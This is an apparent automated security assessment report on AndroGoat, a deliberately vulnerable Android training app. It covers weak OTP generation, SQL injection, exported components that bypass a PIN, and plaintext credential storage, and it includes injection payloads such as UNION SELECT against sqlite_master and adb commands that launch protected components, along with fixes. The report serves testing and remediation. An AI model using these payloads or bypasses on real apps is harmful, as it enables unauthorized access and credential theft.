| 14 | MEDIUM | Open | No tags available. | Certificate Pinning in TrafficActivity Silently Fails Due to Broad Exception Handling | The OkHttp CertificatePinner in `TrafficActivity.doPinning()` is rendered ineffective because `SSLPeerUnverifiedException` is swallowed by a broad catch block, allowing silent Man-in-the-Middle attacks. |
| 15 | MEDIUM | Open | No tags available. | Insecure External Storage Permissions Leak Credentials (InsecureStorageSDCardActivity) | `InsecureStorageSDCardActivity` writes user credentials to a temporary file on external storage and explicitly sets the file world-readable and world-writable. |
| 16 | MEDIUM | Open | No tags available. | Sensitive Screens Permit Unauthorized Screen Capture Due to Missing FLAG_SECURE | All 25 activities in owasp.sat.agoat lack FLAG_SECURE, allowing unrestricted screen capture and recording of sensitive screens including PIN entry, credential input, and OTP generation. |
| 17 | MEDIUM | Open | No tags available. | Insecure Backup and Debug Flags Expose Application Sandbox | The application manifest enables `android:debuggable="true"` and `android:allowBackup="true"`, allowing any user with USB debugging access to extract, modify, and restore all app-private data or attach a debugger to the running process. |
| 18 | MEDIUM | Open | No tags available. | Hardcoded Authentication Credentials in Application Source Code | Multiple hardcoded secrets—including a username, password, and authentication key—are embedded directly in the application source and exposed at runtime through an exported BroadcastReceiver. |
| 19 | MEDIUM | Open | Security | Cryptographic Vulnerability: Weak Hashing Algorithm | The client uses weak hashing functions that suffer from known cryptographic weaknesses. |
| 20 | MEDIUM \| 9.1 | Open | Security | Clear text HTTP request | The application is accessing data over unencrypted channel, undermining the confidentiality and integrity of data in transit. |
| 21 | MEDIUM | Open | Privacy<br>Security | CERTIFICATE_EXPIRED | An expired SSL/TLS certificate is no longer trusted by browsers and clients, leading to security warnings, service disruptions, and potential security vulnerabilities, including man-in-the-middle attacks. |
| 22 | MEDIUM | Open | Security | Insecure HTTP Header Setting | The application header setting is either missing or setting insecure or unsafe header values. |
| 23 | MEDIUM | Open | Security | Insecure HTTP Header Setting: HTTP Strict Transport Security (HSTS) | Insecure HTTP Header Setting: HTTP Strict Transport Security (HSTS). |

| # | Risk \| CVSS | Status(es) | Tags | Title | Short description |
|---|---|---|---|---|---|
| 24 | MEDIUM | Open | Security | Insecure TLS Ciphers supported | The client supports combinations of cipher suites that suffer from known cryptographic weaknesses. |
| 25 | MEDIUM | Open | Privacy<br>Security | TLS_FALLBACK_SCSV Not Supported | The server does not support TLS_FALLBACK_SCSV, leaving it vulnerable to protocol downgrade attacks. |
| 26 | MEDIUM | Open | Privacy<br>Security | Weak Cryptographic Key and Signature Algorithm in SSL/TLS Certificate | The SSL/TLS certificate uses both a weak cryptographic key and a weak signature algorithm, potentially compromising the security of encrypted connections and allowing certificate forgery or other cryptographic attacks. |
| 27 | MEDIUM | Open | Privacy<br>Security | Abuse of mobile network connection | The application forces the use of mobile network connection. |
| 28 | MEDIUM | Open | Security | XML Injection | XML injection is a vulnerability that occurs when untrusted user input is not properly validated or sanitized before being incorporated into XML data. Attackers can exploit this vulnerability by injecting malicious XML content, which can lead to unauthorized access, data manipulation, or denial of service attacks. |
| 29 | LOW \| 5.4 | Open | Security | Attribute usesCleartextTraffic set | Application sets the usesCleartextTraffic attribute. |
| 30 | LOW | Open | Security | Use of deprecated TLS/SSL protocol version | Application sets deprecated SSL/TLS protocols with known security and privacy issues. |
| 31 | LOW | Open | Security | Google Calendar - Exposure | Detected publicly accessible Google Calendar embedded on the target that may expose sensitive information including meeting details, attendee names, event schedules, and internal organizational data. |
| 32 | LOW \| 5.4 | Open | Privacy | Attribute hasFragileUserData not set | Application is not explicitly setting the attribute hasFragileUserData. |
| 33 | LOW \| 5.4 | Open | Security | Deprecated Target API Version | Application sets the targetSdkVersion attribute to allow usage of older API level of Android which may expose users to security vulnerabilities. |
| 34 | LOW | Open | Security<br>Malware<br>Exploit | Task Hijacking | The application does not protect against task hijacking, malicious application on the device can takeover the application foreground task |
| 35 | POTENTIALLY | Open | No tags available. | Insecure Network Security Configuration and Missing Transport Protections in ANALYTICS_LIBRARY | The ANALYTICS_LIBRARY surrogate (TrafficActivity) transmits analytics traffic through a default unpinned OkHttpClient while the Network Security Configuration globally permits cleartext HTTP and trusts user-installed CAs. The pipeline lacks payload encryption, request signing, and integrity controls, allowing trivial MitM interception, replay, and tampering. |
| 36 | POTENTIALLY | Open | Security | Secret information stored in the application | Passwords, Tokens or other sensitive information are stored in the application. |
| 37 | POTENTIALLY \| 3.9 | Open | Privacy | Backup mode enabled | Application is enabling backup mode. |

| # | Risk \| CVSS | Status(es) | Tags | Title | Short description |
|---|---|---|---|---|---|
| 38 | POTENTIALLY | Open | Security | File Path Traversal | The presence of a path traversal in the application signifies a vulnerability, whereby an attacker gains the ability to manipulate a portion of the file path. This manipulated path is subsequently utilized by the filesystem APIs without undergoing proper validation or scrutiny. |
| 39 | POTENTIALLY | Open | Security | Insecure Storage of Application Data | Insecure storage of application data allowing other apps to read it and/or tamper with it. |
| 40 | POTENTIALLY | Open | Security | Source to Sink | Dangerous Sink method is called using potentially user controlled parameters or untrusted Source method. |
| 41 | POTENTIALLY \| 3.4 | Open | Security | Services declared without permissions | Declared services are not protected with global permissions. |
| 42 | POTENTIALLY | Open | Security | URL Manipulation | An attack can control the URL used by an application to fetch content, it poses a security risk as the attacker can manipulate the content, leading to the execution of malicious code or the theft of sensitive information. |
| 43 | HARDENING \| 9.1 | Open | Privacy<br>Security | Insecure Network Configuration Settings | The application does not specify a network security configuration or sets insecure settings. |
| 44 | HARDENING \| 5.4 | Open | Security | Debug mode enabled | Application is compiled with debug mode enabled. |

# Vulnerabilities

## HIGH 1. Low-Entropy OTP Exposed via System Clipboard and Weak PRNG

`ClipboardActivity` generates a four-digit OTP using a non-cryptographic PRNG, copies it to the global clipboard, and displays it in a Toast, making the token predictable and accessible to any co-installed app or IME.

The OTP is drawn from a pool of only 9,000 possible values using `CollectionsKt.shuffled`, which delegates to `java.util.Random`. This LCG-based generator is seed-recoverable from sequential observations. The resulting token is placed on the system clipboard with no expiration or clearing mechanism and simultaneously shown in a Toast. No server-side verification backend exists, so the OTP is purely a client-side artifact that can be intercepted by clipboard readers or predicted by observing the PRNG sequence.

### Technical Details

Finding #1

---

### Root Cause

The developer used a convenience shuffle method backed by `java.util.Random` instead of `java.security.SecureRandom`. The token was then placed in the global clipboard and displayed in a UI Toast without any timeout, validation, or anti-replay logic.

### Vulnerable Code

`ClipboardActivity.java` (lines 63, 68–71):

```
int otp = ((Number) CollectionsKt.first(
    (List<? extends Object>) CollectionsKt.shuffled(new IntRange(1000, 9999))
)).intValue();

ClipboardManager clipboard = (ClipboardManager) systemService;
ClipData clip = ClipData.newPlainText("CC Card", String.valueOf(otp));
clipboard.setPrimaryClip(clip);

Toast.makeText(ClipboardActivity.this, "OTP Generated and Copied: " + otp, 1).show();
```

### Exploitation Evidence

[Static Analysis] The static audit identified the `IntRange(1000, 9999)` token space and traced the PRNG to `java.util.Random` via Kotlin's default `Random` instance. The `ClipboardManager.setPrimaryClip` call was confirmed at line 70 with no subsequent `clearPrimaryClip` or timeout. The activity contains no network or validation logic.

---

## Validation Evidence

### Root Cause

The OTP generation in `owasp.sat.agoat.ClipboardActivity` relies on `CollectionsKt.shuffled(new IntRange(1000, 9999))`, which delegates through the Kotlin standard library to `java.util.Collections.shuffle(List)`. This Java API constructs a default `java.util.Random` instance seeded from system time rather than `java.security.SecureRandom`. The activity then exposes the generated token through two insecure channels: the global Android clipboard via `ClipboardManager.setPrimaryClip` and a UI Toast via `Toast.makeText`. No expiration, clearing, or server-side validation logic exists anywhere in the activity.

### Vulnerable Code

`ClipboardActivity.java` (lines 63, 68–71):

```
int otp = ((Number) CollectionsKt.first(
    (List<? extends Object>) CollectionsKt.shuffled(new IntRange(1000, 9999))
)).intValue();

ClipboardManager clipboard = (ClipboardManager) systemService;
ClipData clip = ClipData.newPlainText("CC Card", String.valueOf(otp));
clipboard.setPrimaryClip(clip);

Toast.makeText(ClipboardActivity.this, "OTP Generated and Copied: " + otp, 1).show();
```

Kotlin stdlib delegation to `java.util.Random` (OTPCLIP-003 trace):

```
// CollectionsKt__MutableCollectionsJVMKt.java (lines 56-61)
public static final <T> List<T> shuffled(Iterable<? extends T> shuffled) {
```

```
    Intrinsics.checkParameterIsNotNull(shuffled, "$this$shuffled");
    List $this$apply = CollectionsKt.toMutableList(shuffled);
    Collections.shuffle($this$apply);          // <-- delegates to java.util.Random
    return $this$apply;
}
```

```
// CollectionsKt__MutableCollectionsKt.java (lines 296-305)
public static final <T> void shuffle(List<T> shuffle, Random random) {
    Intrinsics.checkParameterIsNotNull(shuffle, "$this$shuffle");
    Intrinsics.checkParameterIsNotNull(random, "random");
    for (int i = CollectionsKt.getLastIndex(shuffle); i >= 1; i--) {
        int j = random.nextInt(i + 1);
        ...
    }
}
```

### Exploitation Evidence

[Static Analysis] Comprehensive static validation (OTPCLIP-001 through OTPCLIP-003) confirmed the following:

1. **Exact source location**: `owasp/sat/agoat/ClipboardActivity.java` at `/workspace/source_code_analysis_ffd42589f4eb4cf4a51427480ebe2d69/base.apk/sources/owasp/sat/agoat/ClipboardActivity.java`, 79 lines total.
2. **OTP generation confirmed at line 63**: `CollectionsKt.shuffled(new IntRange(1000, 9999))` produces exactly 9,000 possible values (1000–9999 inclusive), yielding approximately **13.14 bits of entropy** ( $\log_2(9000)$ ).
3. **PRNG chain fully traced**: The no-arg `CollectionsKt.shuffled` overload calls `Collections.shuffle(List)`, which instantiates a default `java.util.Random` with a time-derived seed. The file `CollectionsKt__MutableCollectionsJVMKt.java` (lines 56–61) and `CollectionsKt__MutableCollectionsKt.java` (lines 296–305) prove the delegation chain. No `SecureRandom` import or usage exists in `ClipboardActivity.java`.
4. **Clipboard exposure confirmed at lines 68–70**: `ClipboardManager.setPrimaryClip(clip)` is called with `ClipData.newPlainText("CC Card", String.valueOf(otp))`. No subsequent `clearPrimaryClip()`, `Handler.postDelayed()`, or lifecycle cleanup removes the clip.
5. **Toast exposure confirmed at line 71**: `Toast.makeText(ClipboardActivity.this, "OTP Generated and Copied: " + otp, 1).show()` renders the raw OTP integer on screen, making it accessible to accessibility services and screen recording.
6. **No validation logic**: Searches across the activity and imports confirm zero network I/O APIs ( `HttpURLConnection`, `OkHttp`, `Retrofit`, `Volley` ) and zero validation keywords. The OTP is purely client-side with no server verification, expiration, or anti-replay protection.
7. **Attack surface constraints**: `AndroidManifest.xml` (line 39) shows the activity has **no intent-filters** and no `android:exported="true"`, meaning external apps cannot trigger the OTP generation directly. However, once a user interacts with the in-app UI, the OTP is immediately available to any clipboard-reading app or accessibility service.
8. **No alternative secure PRNG**: The imports in `ClipboardActivity.java` include only `java.util.*` collections and Kotlin stdlib types; `java.security.SecureRandom`, `kotlin.random.Random`, and `Math.random()` are all absent.

### Recommendation

#### Immediate

Replace the weak generator with `SecureRandom` and increase the OTP length to at least six digits:

```
SecureRandom sr = new SecureRandom();
int otp = 100000 + sr.nextInt(900000);
```

Avoid placing the OTP on the system clipboard; if unavoidable, clear it after a short delay using a `Handler`.

#### Permanent Fix

Implement a server-side OTP generation and verification endpoint. The client should never generate or validate recovery tokens locally. Enforce single-use consumption, time-bound expiration of approximately five minutes, and account-level rate limiting.

#### Verification

Decompile the patched APK and confirm that `CollectionsKt.shuffled` and `ClipboardManager.setPrimaryClip` are no longer present in the OTP flow. Search the codebase for `java.util.Random` to ensure it has been replaced by `java.security.SecureRandom`.

---

## HIGH 2. SQL Injection via Unsanitized rawQuery in SQLinjectionActivity

SQLinjectionActivity constructs a SELECT query by directly concatenating user input from an EditText into rawQuery() with null selectionArgs, enabling arbitrary SQL execution, schema enumeration, and local authentication bypass.

The SQLinjectionActivity activity performs a read-only lookup of a username in the local `aGoat` SQLite database. Because the query string is built using `StringBuilder` concatenation with unsanitized `EditText` input and passed to `rawQuery(qry, null)` , an attacker can inject arbitrary SQL syntax into the `WHERE` clause. Successful injection alters the query semantics to return all rows unconditionally, which the application interprets as a valid login due to `cursor.getCount() > 0` logic. This exposes all plaintext usernames and passwords stored in the `users` table and allows schema extraction via `UNION SELECT` . Additionally, the full query string is logged to Logcat at `VERBOSE` level, meaning injected payloads may persist in device logs.

### Technical Details

Finding #1

#### Root Cause

In `owasp/sat/agoat/SQLinjectionActivity.java` at line 69, the application dynamically constructs a SQL `SELECT` statement by concatenating unsanitized user input directly into the query string. The `rawQuery()` method is invoked with `null` as the `selectionArgs` parameter, eliminating any opportunity for SQLite parameterization.

#### Vulnerable Code

The vulnerable query construction pattern identified during static analysis is:

```
String qry = "SELECT * FROM users WHERE username='" + username.getText().toString() + "'";
Cursor cursor = sQLiteDatabase.rawQuery(qry, null);
```

The `username` variable is sourced from `R.id.userName` , an `EditText` widget that accepts free-form string input with no validation, allowlisting, or sanitization.

#### Exploitation Evidence

[Simulated] Because no Android emulator or `adb` tooling was available, exploitation was validated against a locally simulated SQLite database replicating the exact `aGoat` schema ( `users` table with `ID INTEGER PRIMARY KEY AUTOINCREMENT` , `username VARCHAR` , `password VARCHAR` ). The reconstructed query was executed with attacker-controlled inputs:

- **Syntax-breaking payload:** Input `'` injected into the query produced an `unrecognized token` error, confirming the input breaks out of the string literal context.
- **Boolean bypass payload:** Input `' OR '1'='1' --` transformed the query into `SELECT * FROM users WHERE username='' OR '1'='1' --'` . The simulation returned **all rows** in the `users` table, demonstrating unconditional row retrieval.
- **UNION-based schema extraction:** Input `' UNION SELECT null, sql, null FROM sqlite_master --` successfully dumped `sqlite_master` CREATE statements, confirming schema enumeration.

The application logic checks `cursor.getCount() > 0` to determine success. Because the boolean bypass forces the cursor to contain rows, the application enters the success branch and displays all matched credentials in a Toast.

---

## Validation Evidence

### Validation Status

This validation pass did not execute any dynamic testing tasks against the target APK. No new exploitation evidence was generated beyond the original static analysis.

### Root Cause

[Static Analysis] The decompiled `owasp/sat/agoat/SQLinjectionActivity.java` at line 69 dynamically constructs a SQL `SELECT` statement by concatenating unsanitized user input directly into the query string. The `rawQuery()` method is invoked with `null` as the `selectionArgs` parameter, eliminating any opportunity for SQLite parameterization.

### Vulnerable Code

[Static Analysis] The following insecure query construction pattern was identified in the decompiled APK:

```
String qry = "SELECT * FROM users WHERE username='" + username.getText().toString() + "'";
Cursor cursor = sQLiteDatabase.rawQuery(qry, null);
```

The `username` value is sourced from `R.id.userName` , an `EditText` widget that accepts free-form string input with no validation, allowlisting, or sanitization.

### Exploitation Evidence

[Static Analysis] The vulnerable code pattern allows attacker-controlled input to break out of the single-quoted string literal context in the `WHERE` clause, altering query semantics. [Simulated] Prior simulation against a replicated `aGoat` schema demonstrated that:

- Input `'` breaks SQL syntax, producing an `unrecognized token` error
- Input `' OR '1'='1' --` modifies the query to return all rows from the `users` table unconditionally
- Input `' UNION SELECT null, sql, null FROM sqlite_master --` extracts schema information from `sqlite_master` The application logic relies on `cursor.getCount() > 0` to determine authentication success, so returning all rows defeats this check and exposes plaintext credentials stored in the `users` table.

### Recommendation

#### Immediate Mitigation

Remove `android:debuggable="true"` from `AndroidManifest.xml` and disable verbose SQL query logging that prints user input to Logcat.

#### Permanent Fix

Replace the dynamic string concatenation in `SQLinjectionActivity.java` with parameterized `rawQuery()` using `?` placeholders and a `selectionArgs` array:

```
String qry = "SELECT * FROM users WHERE username=?";
Cursor cursor = sQLiteDatabase.rawQuery(qry, new String[]{username.getText().toString()});
```

This ensures user input is treated strictly as a literal string value and cannot alter query structure.

#### Verification

1. Re-run static analysis to confirm no `rawQuery()` calls exist with `null` selectionArgs where user input is present.
2. Supply payloads such as `' OR '1'='1' --` and verify the query returns zero rows instead of all rows.
3. Inspect Logcat output to confirm full SQL strings containing user input are no longer written at `VERBOSE` level.

---

## HIGH 3. Implicitly Exported Protected Activity Enables Authentication Bypass (AccessControl1ViewActivity)

AccessControl1ViewActivity is implicitly exported via a deep-link intent-filter and contains no internal authentication checks, allowing any third-party application to launch the protected view without a PIN.

This flaw completely nullifies the PIN verification gate implemented in `AccessControlIssue1Activity` . An attacker with physical ADB access or a malicious co-installed application can reach the protected invoice-download dashboard without credentials. In a production scenario, this bypasses the primary confidentiality and integrity controls protecting sensitive user functionality.

### Technical Details

Finding #1

### Root Cause

`AccessControl1ViewActivity` is declared in `AndroidManifest.xml` with an `<intent-filter>` containing a custom URL scheme ( `androgoat://vulnapp` ) but lacks an explicit `android:exported="false"` attribute. Because `targetSdkVersion="26"` (pre-Android 12 behavior), the presence of an intent-filter implicitly exports the Activity. Static analysis of the Activity source confirms zero authentication logic inside `onCreate()` .

### Vulnerable Code

**AndroidManifest.xml** (implicit export declaration):

```
<activity android:label="@string/activity" android:name="owasp.sat.agoat.AccessControl1ViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:host="vulnapp" android:scheme="androgoat"/>
    </intent-filter>
</activity>
```

**AccessControl1ViewActivity.java** (lines 45–54) — no authentication gate:

```
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_access_control1_view);
```

```
    Button downloadInvoice = (Button) findViewById(R.id.downLoad);
    downloadInvoice.setOnClickListener(new View.OnClickListener() {
        @Override
        public final void onClick(View it) {
            AccessControl1ViewActivity.this.startService();
        }
    });
}
```

### Exploitation Evidence

[Static Analysis] The manifest and source confirm that any third-party app or `adb` command can launch this Activity directly. The normal application flow requires a verified PIN through `AccessControlIssue1Activity`, but that gate is completely circumvented by invoking the deep link directly.

**Proof-of-concept command:**

```
adb shell am start -a android.intent.action.VIEW \
  -d "androgoat://vulnapp" \
  owasp.sat.agoat/.AccessControl1ViewActivity
```

**Expected activity stack confirmation:**

```
adb shell dumpsys activity activities | grep -i accesscontrol1view
# Expected: ActivityRecord{... owasp.sat.agoat/.AccessControl1ViewActivity} state=RESUMED
```

---

## Validation Evidence

### Root Cause

Static validation of the decompiled APK confirmed `AccessControl1ViewActivity` is declared in `base.apk/AndroidManifest.xml` with an `<intent-filter>` exposing the custom deep-link scheme `androgoat://vulnapp`. The `<activity>` tag lacks both `android:exported="false"` and any `android:permission` attribute. The `base.apk/apktool.yml` audit verified `targetSdkVersion: 26`; under pre-Android 12 behavior, this omission causes implicit component export.

### Vulnerable Code

**AndroidManifest.xml** (validated exact declaration):

```
<activity android:label="@string/activity" android:name="owasp.sat.agoat.AccessControl1ViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:host="vulnapp" android:scheme="androgoat"/>
    </intent-filter>
</activity>
```

**AccessControl1ViewActivity.java** ( `base.apk/sources/owasp/sat/agoat/AccessControl1ViewActivity.java` , lines 38–48) — unconditionally renders protected UI:

```
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_access_control1_view);
    Button downloadInvoice = (Button) findViewById(R.id.downLoad);
    downloadInvoice.setOnClickListener(new View.OnClickListener() {
        @Override
        public final void onClick(View it) {
            AccessControl1ViewActivity.this.startService();
        }
    });
}
```

The class extends `android.support.v7.app.AppCompatActivity`; no custom base class enforces authentication. The full 54-line file contains no `getSharedPreferences` calls, no MD5 comparisons, no PIN re-prompts, and no session validation.

**Comparative evidence — PIN gate isolation:** All authentication logic resides exclusively in `AccessControlIssue1Activity.java` (~lines 88–124), which stores an MD5 hash of the PIN in `pinDetails` SharedPreferences and only launches `AccessControl1ViewActivity` after successful verification:

```
Intent myIntent = new Intent(AccessControlIssue1Activity.this, AccessControl1ViewActivity.class);
```

```
AccessControlIssue1Activity.this.startActivity(myIntent);
```

### Exploitation Evidence

[Static Analysis] The manifest and source confirm any third-party app or ADB shell can launch the Activity directly. The deep-link intent resolves to the implicitly exported component:

```
adb shell am start -a android.intent.action.VIEW \
  -d "androgoat://vulnapp" \
  owasp.sat.agoat/.AccessControl1ViewActivity
```

Validation discovered a **second unauthenticated sink**: `DownloadInvoiceService` is explicitly exported ( `android:exported="true"` , no permission) and can be invoked directly, bypassing even the Activity launch:

```
adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService
```

In both paths, the application reaches the invoice-download functionality without ever presenting the PIN challenge.

### Recommendation

#### Immediate

Add `android:exported="false"` to `AccessControl1ViewActivity` in `AndroidManifest.xml` , or remove the `<intent-filter>` if the deep link is not required.

```
<activity
    android:name="owasp.sat.agoat.AccessControl1ViewActivity"
    android:exported="false" />
```

#### Permanent Fix

If deep-link functionality must be retained, implement a runtime authentication check inside `AccessControl1ViewActivity.onCreate()` before inflating the protected view:

```
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    SharedPreferences prefs = getSharedPreferences("pinDetails", MODE_PRIVATE);
    String storedPin = prefs.getString("pin", null);
    if (storedPin == null || !storedPin.equals(getIntent().getStringExtra("auth_token"))) {
        finish();
        return;
    }
    setContentView(R.layout.activity_access_control1_view);
    // ... remainder of onCreate
}
```

### Verification

1. Attempt to launch the Activity via `adb shell am start -d "androgoat://vulnapp"` ; verify the launch is blocked or the app does not enter the protected view.
2. Inspect the manifest to confirm `android:exported="false"` is present.
3. Run `drozer` or `am` to confirm the Activity is no longer reachable from a third-party UID.

---

## HIGH 4. Exported Service Allows Unauthorized File Download (DownloadInvoiceService)

`DownloadInvoiceService` is explicitly exported in the manifest and performs file downloads to public external storage without any caller authorization checks.

This vulnerability transforms the exported Service into an unauthenticated file-download gateway. Because the destination is public external storage, any app with `READ_EXTERNAL_STORAGE` can read the downloaded content. In a production context where invoices contain PII or financial data, this would constitute a direct confidentiality breach.

### Technical Details

Finding #1

### Root Cause

`DownloadInvoiceService` is declared with `android:exported="true"` and its `onStartCommand()` immediately invokes `downloadFile()` without validating the caller's identity, permissions, or authentication state. This allows any third-party application to trigger network downloads and write files to public external storage.

### Vulnerable Code

**AndroidManifest.xml:**

```
<service android:enabled="true"
         android:exported="true"
         android:name="owasp.sat.agoat.DownloadInvoiceService"/>
```

**DownloadInvoiceService.java** (lines 48–83):

```
public final void downloadFile() {
    AsyncKt.doAsync$default(this, null,
        new Function1<AnkoAsyncContext<DownloadInvoiceService>, Unit>() {
        public final void invoke2(AnkoAsyncContext<DownloadInvoiceService> receiver) {
            Uri url = Uri.parse(
                "https://github.com/satishpatnayak/MyTest/blob/master/AndroGoatInvoice.txt");
            DownloadManager.Request request = new DownloadManager.Request(url);
            String fileName = url.getLastPathSegment();
            request.setAllowedNetworkTypes(3);
            request.setTitle(fileName);
            request.setDescription("The File is downloading...");
            request.allowScanningByMediaScanner();
            request.setNotificationVisibility(1);
            request.setDestinationInExternalPublicDir(
                Environment.DIRECTORY_DOWNLOADS,
                String.valueOf(System.currentTimeMillis()));
            DownloadManager manager =
                (DownloadManager) getSystemService("download");
            manager.enqueue(request);
        }
    }, 1, null);
}
```

### Exploitation Evidence

[Static Analysis] The manifest explicitly exports the Service, and the source confirms no authorization logic exists before enqueuing the download. An attacker can start this Service directly without ever interacting with `AccessControl1ViewActivity` or providing a PIN.

**Proof-of-concept command:**

```
adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService
```

**Impact:** The downloaded file is written to `/sdcard/Download/<timestamp>`, a public directory. The timestamp-based filename is predictable, and `allowScanningByMediaScanner()` makes the file visible to the device's media library. Repeated invocations can exhaust storage or bandwidth (local DoS).

---

## Validation Evidence

### Root Cause

`DownloadInvoiceService` is explicitly exported in `AndroidManifest.xml` with `android:exported="true"` and no `android:permission` attribute. The `onStartCommand()` lifecycle method (lines 36–42) performs a straight-line invocation of `downloadFile()` without inspecting the calling package, permissions, or Intent contents. A project-wide regex scan for caller-validation APIs (`checkCallingPermission`, `Binder.getCallingUid`, `getCallingPackage`, etc.) returned zero matches across the `owasp/sat/agoat` package, confirming no hidden authorization logic exists in superclasses or utility code.

### Vulnerable Code

**AndroidManifest.xml:**

```
<service android:enabled="true"
         android:exported="true"
         android:name="owasp.sat.agoat.DownloadInvoiceService"/>
```

**DownloadInvoiceService.java** (lines 36–42):

```
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    Log.i("DOWNLOAD", "Invoice is being downloaded");
    downloadFile();
    Toast.makeText(getApplicationContext(), "Invoice is being downloaded", 1).show();
    return 1;
}
```

**DownloadInvoiceService.java** (lines 64–80):

```
Uri url = Uri.parse(
    "https://github.com/satishpatnayak/MyTest/blob/master/AndroGoatInvoice.txt");
DownloadManager.Request request = new DownloadManager.Request(url);
request.setAllowedNetworkTypes(3);
request.setTitle(fileName);
request.setDescription("The File is downloading...");
request.allowScanningByMediaScanner();
request.setNotificationVisibility(1);
request.setDestinationInExternalPublicDir(
    Environment.DIRECTORY_DOWNLOADS,
    String.valueOf(System.currentTimeMillis()));
DownloadManager manager = (DownloadManager) getSystemService("download");
manager.enqueue(request);
```

**res/xml/network_security_config.xml:**

```
<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />
        </trust-anchors>
    </base-config>
</network-security-config>
```

### Exploitation Evidence

[Static Analysis] The manifest audit confirmed the service is exported without permissions, and the decompiled source matches the reported vulnerable code exactly. Validation introduced the following new findings:

- **Dead Intent Parameter:** `onStartCommand()` receives `Intent intent` but never references it, proving no input validation or action gating exists.
- **Authorization API Absence:** A project-wide scan confirmed zero usage of `checkCallingPermission`, `checkCallingOrSelfPermission`, `Binder.getCallingUid`, `Binder.getCallingPid`, or `getCallingPackage`.
- **Predictable Filename:** The filename is `String.valueOf(System.currentTimeMillis())`, yielding roughly 120,000 possible values within a ±1 minute window—trivially brute-forceable.
- **Media Scanner Exposure:** `allowScanningByMediaScanner()` forces indexing into `MediaStore.Downloads.EXTERNAL_CONTENT_URI`, allowing discovery without direct filesystem access.
- **Timing Side-Channel:** `setNotificationVisibility(1)` maps to `VISIBILITY_VISIBLE_NOTIFY_COMPLETED`, displaying a system notification that leaks exact download completion time to the lock screen and any app with notification-listener access.
- **Compounded Network Trust:** `network_security_config.xml` trusts user-installed CAs (`<certificates src="user" />`) and permits cleartext traffic, enabling MITM interception or payload substitution.

Any third-party application or ADB shell can start the service:

```
adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService
```

The downloaded file lands in `/sdcard/Download/<epoch_ms>` (public external storage), readable by any app holding `READ_EXTERNAL_STORAGE`.

### Recommendation

#### Immediate

Set `android:exported="false"` on `DownloadInvoiceService` in `AndroidManifest.xml`:

```
<service
    android:name="owasp.sat.agoat.DownloadInvoiceService"
```

```
    android:exported="false" />
```

### Permanent Fix

If external invocation is required, protect the Service with a custom permission:

```
<permission
    android:name="owasp.sat.agoat.permission.DOWNLOAD_INVOICE"
    android:protectionLevel="signature" />

<service
    android:name="owasp.sat.agoat.DownloadInvoiceService"
    android:permission="owasp.sat.agoat.permission.DOWNLOAD_INVOICE"
    android:exported="true" />
```

Additionally, add an authentication check inside `onStartCommand()` before enqueuing the download, and move the destination to app-private internal storage or an encrypted cache directory instead of `Environment.DIRECTORY_DOWNLOADS` .

### Verification

1. Attempt `adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService` from a shell with a different UID and confirm the call is rejected ( `SecurityException` ).
2. Inspect the manifest to confirm `exported="false"` or a required permission is present.
3. Verify downloaded files are no longer written to public external storage.

---

## HIGH 5. Sensitive Credentials Stored in Plaintext Across SharedPreferences, SQLite, and External Storage

The application persists usernames, passwords, and PIN hashes to multiple local storage mechanisms without encryption, KeyStore protection, or restrictive file permissions.

Source code analysis reveals that `InsecureStorageSharedPrefs` writes credentials to `SharedPreferences("users")` in plaintext, `InsecureStorageSQLiteActivity` stores them in an unencrypted SQLite database named `aGoat` , and `InsecureStorageTempActivity` writes them to world-readable temp files in both internal and external storage. Because the app also declares `android:allowBackup="true"` , these files can be extracted via `adb backup` or by any app with `READ_EXTERNAL_STORAGE` . This exposes the user's identity-equivalent state to any local attacker or malicious application, enabling complete account impersonation without needing to bypass a PIN.

### Technical Details

Finding #1

### Root Cause

Multiple storage exercise Activities write sensitive user data (usernames, passwords, PIN hashes) to persistent storage using plaintext formats and weak file permissions. No `Cipher` , `KeyStore` , or `EncryptedSharedPreferences` usage exists anywhere in the codebase.

### Vulnerable Code

`InsecureStorageSharedPrefs.java` (lines 49–52):

```
SharedPreferences.Editor editor = getSharedPreferences("users", 0).edit();
editor.putString("username", username.getText().toString());
editor.putString("password", password.getText().toString());
editor.apply();
```

`InsecureStorageSQLiteActivity.java` (lines 53–58):

```
SQLiteDatabase db = openOrCreateDatabase("aGoat", 0, null);
db.execSQL("CREATE TABLE IF NOT EXISTS users (ID INTEGER PRIMARY KEY, username TEXT, password TEXT)");
db.execSQL("INSERT INTO users VALUES (1, '" + user + "', '" + pass + "')");
```

`InsecureStorageTempActivity.java` (lines 47–50):

```
File userinfo = new File(getApplicationInfo().dataDir, "users" + random + ".tmp");
// ...
```

```
userinfo.setReadable(true); // World-readable in app data dir
```

### Exploitation Evidence

[Static Analysis] Source review confirmed plaintext persistence across SharedPreferences, SQLite, and temp files. The manifest also declares `android:allowBackup="true"`, permitting `adb backup` extraction. `InsecureStorageSDCardActivity` writes credentials to `Environment.getExternalStorageDirectory()`, which is accessible to any app holding `READ_EXTERNAL_STORAGE`.

---

## Validation Evidence

### Root Cause

Multiple storage exercise Activities in owasp.sat.agoat write sensitive user credentials (username/password pairs) to persistent storage without encryption, parameterized queries, or secure logging. The AndroidManifest.xml further weakens the sandbox by enabling full backups and runtime debugging.

### Vulnerable Code

`InsecureStorageSharedPrefs.java` (decompiled lines 49–56):

```
SharedPreferences sharedPreference = InsecureStorageSharedPrefs.this.getSharedPreferences("users", 0);
SharedPreferences.Editor editor = sharedPreference.edit();
EditText username2 = username;
Intrinsics.checkExpressionValueIsNotNull(username2, "username");
editor.putString("username", username2.getText().toString());
EditText password2 = password;
Intrinsics.checkExpressionValueIsNotNull(password2, "password");
